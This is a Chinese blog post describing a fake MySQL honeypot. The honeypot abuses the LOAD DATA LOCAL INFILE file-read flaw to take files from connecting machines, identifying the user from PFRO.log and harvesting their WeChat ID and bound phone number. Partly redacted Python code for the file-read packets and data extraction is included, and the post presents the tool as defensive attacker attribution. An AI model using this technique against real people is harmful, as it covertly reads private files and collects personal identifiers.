紅藍對抗 | 蜜罐獲取攻擊者微信ID及手機號
0x00 前言
之前在打CTF的時候,多次遇到了這個漏洞。
攻防演練期間,研究了一下蜜罐的騷操作,比如獲取百度ID、CSDN賬號、微信ID等等,對攻擊者進行攻擊者畫像。
學習了一下原理,然后做了一些改進,利用MySQL的漏洞,獲取攻擊者手機號。
本系統代碼非完全原創,部分代碼參照
https://github.com/qigpig/MysqlHoneypot。
關于MySQL任意文件讀取漏洞,網上很多大佬寫了很詳細的分析文章,本文不再復述。
同時,如果想復現漏洞,也可選取github上其他更加簡潔的單文件server代碼。
0x01 漏洞相關
1.1 漏洞簡介
Fake MySQL顧名思義,就是虛假的MySQL。
其實這個名詞是我個人習慣的稱呼,關于完整的定義目前在網上沒有一個公認的說法。
以下均為個人理解,如有問題,歡迎指正。
Fake MySQL是基于構造一個偽裝的MySQL服務器,通過命令或誘導來使受害者連接此服務器,從而利用MySQL的相關漏洞進行文件讀取,或者反序列化利用。
本文不涉及反序列化的利用,可以簡單理解為一個MySQL蜜罐,利用漏洞為LOAD DATA LOCAL INFILE的任意文件讀取。
以上就是本文全部廢話了,話不多說,直接進入正題。

1.2 漏洞復現及利用
文字廢話太多,直接上圖吧。

如圖所示當我在服務器上運行payload代碼,并設置我想要讀取的文件,即可進入監聽模式。
當攻擊者連接我的3306端口,即可成功讀取到攻擊者電腦上的對應文件。
Linux同理,可以讀取/etc/passwd等文件。
那么,可以讀文件,進一步怎樣拓展呢?
根據大佬的文章,我們可以通過讀取C:\Windows\PFRO.log文件來獲取攻擊者的用戶名,根據用戶名讀取相應文件夾中的微信配置文件,進而獲取微信ID。
前提是微信文件保存路徑為默認。
獲取用戶名,如圖所示

但這種方式的缺點是,只能單文件讀取,每次需要重新設置文件名,不能實現循環讀取。
于是,根據https://github.com/qigpig/MysqlHoneypot中的部分代碼,進行進一步的完善和修改,就有了下面的內容

0x02 工具相關
關注公眾號:系統安全運維,回復:666領取資料 。
2.1 代碼相關
開門見山,本系統代碼乍一看很完美,但以普遍理性而論,僅適用于讀取windows系統的文件。
先看核心代碼
def mysql_get_file_content(filename,conn,address):
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
conn.sendall("xxx")
try:
conn.recv(1024000)
except Exception as e:
print(e)
try:
conn.sendall("xx")
res1 = conn.recv(1024000)
# SHOW VARIABLES
if 'SHOW VARIABLES' in res1:
conn.sendall("xxx")
res2 = conn.recv(9999)
if 'SHOW WARNINGS' in res2:
conn.sendall("xxx")
res3 = conn.recv(9999)
if 'SHOW COLLATION' in res3:
conn.sendall("xxx")
res4 = conn.recv(9999)
if 'SET NAMES utf8' in res4:
conn.sendall("xxx")
res5 = conn.recv(9999)
if 'SET character_set_results=NULL' in res5:
conn.sendall("xxx")
conn.close()
else:
conn.close()
else:
conn.close()
else:
conn.close()
else:
try:
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content=''
while True:
data = conn.recv(1024)
print len(data)
content += data
if len(data) < 1024:
print 'ok'
break
conn.close()
item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
if len(content) > 6:
with open(item, "w") as f:
f.write(content)
f.close()
return (True,content)
else:
return (False,content)
except Exception as e:
print (e)
except Exception as e:
print (e)
這段代碼主要有兩個作用:
1.判斷是否為掃描器或者密碼爆破工具,進行交互握手,效果是掃描器直接爆3306弱口令。2.如果是直接連接,去讀取設定好的文件,并寫入本地保存。
PS:為了防止讀取文件內容不完整,加入了while循環。
while True:
conn, address = sv.accept()
first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
global files1
global username
global wx_id
file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
res,content = mysql_get_file_content(file,conn,address)
files1.append(files1[0])
files1.remove(files1[0])
if res:
if 'PFRO' in file:
username = get_username(content)
s= "xx" % (xx)
cursor.execute(s)
data = cursor.fetchall()
if len(data)==0:
s = "XX" % (xx)
cursor.execute(s)
db.commit()
print 'success:'+ file
insert_file(file,address,username)
elif 'config.data'in file:
content = content
wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]
sql = "xxx" % (xxx)
cursor.execute(sql)
db.commit()
wx_id=wxid
img = qrcode.make('weixin://contacts/profile/'+wxid)
img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png')
print 'success:'+ file
insert_file(file,address,username)
elif 'AccInfo' in file:
content = content
phone = re.findall(r'[0-9]{11}', content)[-1]
sql = "xxx" % (xxx)
cursor.execute(sql)
db.commit()
print 'success:'+ file
insert_file(file,address,username)
else:
files1=files
username='Administrator'
這段代碼就是從文件內容獲取信息并保存到數據庫:
1.從C:/Windows/PFRO.log中讀取用戶名2.從C:/Users/用戶名/Documents/WeChat Files/All Users/config/config.data中讀取wx_id
3.從C:/Users/用戶名/Documents/WeChat Files/wx_id/config/AccInfo.dat中讀取微信綁定的手機號根據wx_id可生成微信二維碼,可添加好友
根據實際測試,就算關掉了所有好友申請條件,仍可通過此二維碼發起好友申請。
剩下的代碼無非就是,前端顯示了,這里就不展示了,直接上效果圖。

2.2 效果圖
首先,docker啟動。

本來想在80端口結合jsonp獲取一下百度id以及其他信息
但無奈公開的接口都失效了,80端口只能作為一個誘餌了
下一步會研究一些如何獲取百度等論壇的賬號信息。

訪問5000端口。

登錄后

具體效果

目前實現了獲取微信和手機號,對于溯源來說,已經足夠用了。

2.3 吐槽相關
前前后后,修修改改,花了差不多五天時間才完全搞定,但還是存在bug,請多擔待。
本來想增加linux文件的讀取,但時間和精力有限,只能后續補上。
根據qigpig大佬的思路,本來想解決同一IP出口多用戶的問題,但想來想去,只能通過用戶名和IP進行雙重綁定,如果讀不到用戶名,就沒辦法了。
職業不是程序員,寫代碼真的太難了。。。
0x03 寫在最后
紅隊大佬可參考http://www.python88.com/topic/105651進行蜜罐甄別。
藍隊大佬不建議將本系統作為正式蜜罐部署,僅供參考和玩耍。